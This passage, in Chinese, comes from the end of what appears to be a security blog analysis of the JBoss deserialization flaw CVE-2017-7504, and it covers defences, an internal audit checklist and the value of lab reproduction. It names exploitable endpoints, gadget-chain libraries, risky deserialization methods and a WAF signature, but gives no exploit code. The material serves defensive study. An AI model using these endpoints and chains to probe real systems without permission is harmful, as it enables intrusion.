开发层面的长期防御这个漏洞也给所有Java开发者敲响了警钟不要反序列化不可信的数据。这是黄金法则。使用安全的替代方案对于需要跨网络传输对象的场景考虑使用JSON、XML、Protocol Buffers等安全的序列化格式而不是Java原生序列化。升级基础库确保项目中使用的Apache Commons Collections库升级到安全版本如4.0及以上这些版本重写了危险的Transformer实现或者移除了相关功能。可以使用Maven依赖检查工具如OWASP Dependency-Check定期扫描。实施反序列化过滤器在Java 9及以上版本可以使用ObjectInputFilterJEP 290来为反序列化过程设置白名单或黑名单限制可以反序列化的类。这是从JVM层面提供的防护机制即使应用代码存在反序列化点也能有效拦截恶意利用链。代码审计在代码审查中重点关注ObjectInputStream.readObject(),XMLDecoder.parse(),Yaml.load(),XStream.fromXML()等危险方法的调用确保其输入源是可信的。6. 衍生思考与同类漏洞排查CVE-2017-7504不是一个孤立的案例它是Java反序列化漏洞“家族”中的一个典型代表。理解它就掌握了一把钥匙可以用于排查和理解许多同类问题。6.1 反序列化漏洞的通用模式这类漏洞通常遵循一个模式“一个可控的反序列化入口点” “一条存在于Classpath中的危险利用链”。入口点除了JBoss的HttpInvoker常见的还有Apache Shiro的RememberMe Cookie解密后反序列化。Spring框架的序列化数据绑定在某些旧版本或特定配置下。JMX端口RMI over JRMP的反序列化。任何自定义的、接收序列化对象进行网络通信或文件存储的接口。利用链除了Commons Collections还有Commons BeanUtilsGroovySpring AOPJdk7u21 (利用JDK内部类)Fastjson (通过特定autotype特性)Jackson (通过polymorphic deserialization)6.2 企业内部的漏洞排查清单基于这个模式我们可以制定一个简单的内部排查清单资产梳理列出所有对外服务的Java应用特别是那些使用老旧框架Struts2, Spring 3.x, 旧版JBoss/WebLogic/WebSphere的应用。端口扫描与服务探测使用Nmap等工具扫描服务器识别开放的Java RMI1099端口、JMX如9999端口等服务。使用浏览器或curl访问常见漏洞路径如/invoker/JMXInvokerServlet,/wls-wsat/CoordinatorPortType(WebLogic)。依赖库检查检查应用依赖的JAR包重点关注commons-collections-3.x.jar,commons-beanutils-1.8.x.jar,groovy-all-*.jar等存在已知利用链的库版本。代码审计全局搜索readObject,readResolve,readExternal,XMLDecoder,ObjectInputStream,Yaml.load,XStream.fromXML等关键词。流量监控与WAF在生产环境网络边界部署流量监控或WAF尝试识别和拦截含有Java序列化魔术头AC ED 00 05的HTTP请求体。6.3 从防御者到攻击者的视角转换作为一名安全工程师或关注安全的开发者我强烈建议在可控的环境下如自己的虚拟机、Docker容器亲手复现几次这类漏洞。这个过程的价值不在于“学会攻击”而在于深刻理解漏洞原理看十遍分析文章不如自己让计算器弹出来一次。提升排查效率知道了攻击是如何发生的你就能更准确地知道防御的重点在哪里排查时也更有方向感。建立安全直觉以后再看到类似“Java反序列化”、“RMI”、“JMX”这些关键词时大脑里的警报会立刻响起来。那次对老旧JBoss系统的审计最终以我们向运维团队提供了详细的漏洞报告、修复方案和临时加固脚本告终。系统最终得到了升级。整个过程让我再次体会到面对安全漏洞尤其是这种原理深刻、影响广泛的漏洞浮于表面的“知道了”是远远不够的。只有沉下去把它的来龙去脉、每一环的代码都搞清楚才能真正地“解决”它并在未来举一反三。安全之路就是这样一个不断深入细节、拆解黑盒的过程。希望这篇超详细的“浅析”能帮你打开这扇门。